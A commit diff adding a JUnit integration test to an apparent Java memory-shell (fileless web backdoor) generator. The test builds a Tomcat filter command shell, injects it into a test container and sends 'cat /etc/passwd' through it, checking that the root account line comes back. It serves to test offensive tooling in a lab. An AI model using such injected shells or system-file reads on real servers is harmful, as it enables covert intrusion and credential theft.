|
8 | 8 | import com.reajason.javaweb.memshell.config.CommandConfig; |
9 | 9 | import com.reajason.javaweb.memshell.config.ShellToolConfig; |
10 | 10 | import com.reajason.javaweb.packer.Packers; |
| 11 | +import lombok.SneakyThrows; |
11 | 12 | import lombok.extern.slf4j.Slf4j; |
12 | 13 | import net.bytebuddy.jar.asm.Opcodes; |
| 14 | +import okhttp3.HttpUrl; |
| 15 | +import okhttp3.OkHttpClient; |
| 16 | +import okhttp3.Request; |
| 17 | +import okhttp3.Response; |
| 18 | +import org.apache.commons.lang3.RandomStringUtils; |
| 19 | +import org.apache.commons.lang3.tuple.Pair; |
13 | 20 | import org.junit.jupiter.api.AfterAll; |
14 | 21 | import org.junit.jupiter.params.ParameterizedTest; |
15 | 22 | import org.junit.jupiter.params.provider.Arguments; |
16 | 23 | import org.junit.jupiter.params.provider.MethodSource; |
| 24 | +import org.junit.jupiter.params.provider.ValueSource; |
17 | 25 | import org.testcontainers.containers.GenericContainer; |
18 | 26 | import org.testcontainers.containers.wait.strategy.Wait; |
19 | 27 | import org.testcontainers.junit.jupiter.Container; |
20 | 28 | import org.testcontainers.junit.jupiter.Testcontainers; |
21 | | -import org.apache.commons.lang3.RandomStringUtils; |
22 | | -import org.apache.commons.lang3.tuple.Pair; |
23 | 29 |
|
24 | 30 | import java.util.Base64; |
| 31 | +import java.util.Objects; |
25 | 32 | import java.util.stream.Stream; |
26 | 33 |
|
27 | 34 | import static com.reajason.javaweb.integration.ContainerTool.getUrl; |
28 | 35 | import static com.reajason.javaweb.integration.ContainerTool.warFile; |
29 | 36 | import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; |
30 | 37 | import static org.hamcrest.MatcherAssert.assertThat; |
| 38 | +import static org.junit.jupiter.api.Assertions.assertTrue; |
31 | 39 | import static org.junit.jupiter.params.provider.Arguments.arguments; |
32 | 40 |
|
33 | 41 | /** |
@@ -55,6 +63,44 @@ static Stream<Arguments> casesProvider() { |
55 | 63 | ); |
56 | 64 | } |
57 | 65 |
|
| 66 | + @ParameterizedTest |
| 67 | + @SneakyThrows |
| 68 | + @ValueSource(strings = { |
| 69 | + "/bin/bash -c \"{command}\" 2>&1", |
| 70 | + "sh -c \"{command}\" 2>&1", |
| 71 | + "{command}" |
| 72 | + }) |
| 73 | + void testTemplate(String template) { |
| 74 | + String url = getUrl(container); |
| 75 | + String shellTool = ShellTool.Command; |
| 76 | + String shellType = ShellType.FILTER; |
| 77 | + Packers packer = Packers.BigInteger; |
| 78 | + Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); |
| 79 | + String shellUrl = urls.getLeft(); |
| 80 | + String urlPattern = urls.getRight(); |
| 81 | + String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); |
| 82 | + ShellToolConfig shellToolConfig = CommandConfig.builder() |
| 83 | + .paramName(uniqueName) |
| 84 | + .template(template) |
| 85 | + .build(); |
| 86 | + MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, null, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer); |
| 87 | + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); |
| 88 | + OkHttpClient okHttpClient = new OkHttpClient(); |
| 89 | + HttpUrl httpUrl = Objects.requireNonNull(HttpUrl.parse(shellUrl)) |
| 90 | + .newBuilder() |
| 91 | + .addQueryParameter(uniqueName, "cat /etc/passwd") |
| 92 | + .build(); |
| 93 | + Request request = new Request.Builder() |
| 94 | + .url(httpUrl) |
| 95 | + .get().build(); |
| 96 | + |
| 97 | + try (Response response = okHttpClient.newCall(request).execute()) { |
| 98 | + String res = response.body().string(); |
| 99 | + System.out.println(res.trim()); |
| 100 | + assertTrue(res.contains("root:x:0:0:root:/root:/bin/bash")); |
| 101 | + } |
| 102 | + } |
| 103 | + |
58 | 104 | @AfterAll |
59 | 105 | static void tearDown() { |
60 | 106 | String logs = container.getLogs(); |
|
0 commit comments